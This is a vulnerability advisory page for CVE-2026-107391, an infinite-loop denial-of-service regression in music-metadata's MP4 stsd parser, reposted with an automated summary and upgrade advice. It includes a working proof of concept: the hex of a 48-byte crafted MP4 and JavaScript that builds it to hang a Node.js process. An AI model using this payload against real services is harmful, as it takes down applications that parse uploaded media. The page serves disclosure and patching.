CVE-2026-107391: CWE-400: Uncontrolled Resource Consumption in Borewit music-metadata
Description
### Summary `StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box's entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`'s tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`. This is currently unreleased — present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships. ### Details `lib/mp4/AtomToken.ts`, `StsdAtom.get()`: ```ts for (let n = 0; n < header.numberOfEntries; ++n) { const size = Token.UINT32_BE.get(buf, off); // attacker-controlled entry size off += Token.UINT32_BE.len; // +4 (skip the size field) table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off)); off += size - Token.UINT32_BE.len; // net advance = size - 4 } ``` - Introduced by commit `d2a7d6f` ("fix(mp4): locate each sample entry after the first correctly", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was `off += size` (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to `off += size - 4` to correct the offset, but added no guard for `size < 4`. - With `size == 0`: net advance for the iteration is `4 + (0 - 4) = 0`. `off` never moves. The loop re-reads the same 4 bytes as `size` on every pass, `entry_count` (also attacker-controlled, up to `0xFFFFFFFF`) never runs out, and `table.push(...)` grows without bound on every iteration. - `StsdAtom.get` is invoked synchronously from `strtok3`'s `AbstractTokenizer.readToken` — there is no `await` point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; `table`'s unbounded growth means it will also eventually exhaust memory if not killed first. - The pre-fix code (`off += size`, no `-4`) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable `FieldDecodingError` rather than looping. That's why this is a *regression* introduced specifically by the `-4` fix, not a pre-existing bug. ### PoC 48-byte MP4 file: a 16-byte `ftyp` box + a 32-byte `stsd` box declaring `entry_count = 0xFFFFFFFF` with one sample entry whose `size` field is `0`. ``` hex: 00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001 sha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80 ``` This builds the malicious buffer inline: ```js import { parseBuffer } from 'music-metadata'; const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff); const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff]; const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; }; const zeros = (n) => new Array(n).fill(0); function build(entryCount, entrySize) { const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0)); const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry const payload = cat(stsdHeader, entry); const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload); return Uint8Array.from(cat(ftyp, stsd)); } const hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0 console.log('parsing', hang.length, 'byte file …'); await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop console.log('unreachable'); ``` ``` $ timeout 8 node poc.mjs parsing 48 byte file … # process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time ``` Control (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` — the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` × `size == 0` combination, not the `size == 0` field alone. Version-scope control (same 48-byte file against the latest npm release, `[email protected]`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` — no hang. Confirms this is a `master`-only regression, not present in anything currently shipped. ### Impact Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding servic
CVSS v3.1
Score 6.2medium
Affected software
Borewit
music-metadata
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The music-metadata library for parsing audio and video metadata contained a regression in the MP4 stsd sample-description parser introduced after version 11.14.0. This regression allows an attacker to craft an MP4-family input with a sample-entry size of zero and a controlled entry_count, causing the StsdAtom.get cursor not to advance and the synchronous loop to run indefinitely. This results in blocking the Node.js event loop and uncontrolled growth of the sample-description table, leading to memory exhaustion or process termination. The vulnerability is fixed in version 11.16.0.
Potential Impact
An attacker can supply a specially crafted MP4-family media file that triggers an infinite loop in the sample-description parser, blocking the Node.js event loop and causing the process to consume excessive memory until it terminates or crashes. This results in a denial of service (DoS) condition. There is no impact on confidentiality or integrity.
Mitigation Recommendations
Upgrade to music-metadata version 11.16.0 or later, where this issue is fixed. No other mitigations are indicated. Since this is a library vulnerability, users should ensure they do not use vulnerable versions in their applications.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- GitHub_M
- Date Reserved
- 2026-10-07T21:07:54.988Z
- Cvss Version
- 3.1
- State
- PUBLISHED
Threat ID: 6ac7feef2cdf04f656318bfe
Added to database: 10/08/2026, 20:37:03 UTC
Last enriched: 10/08/2026, 20:49:52 UTC
Last updated: 10/08/2026, 21:45:48 UTC
Views: 8
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.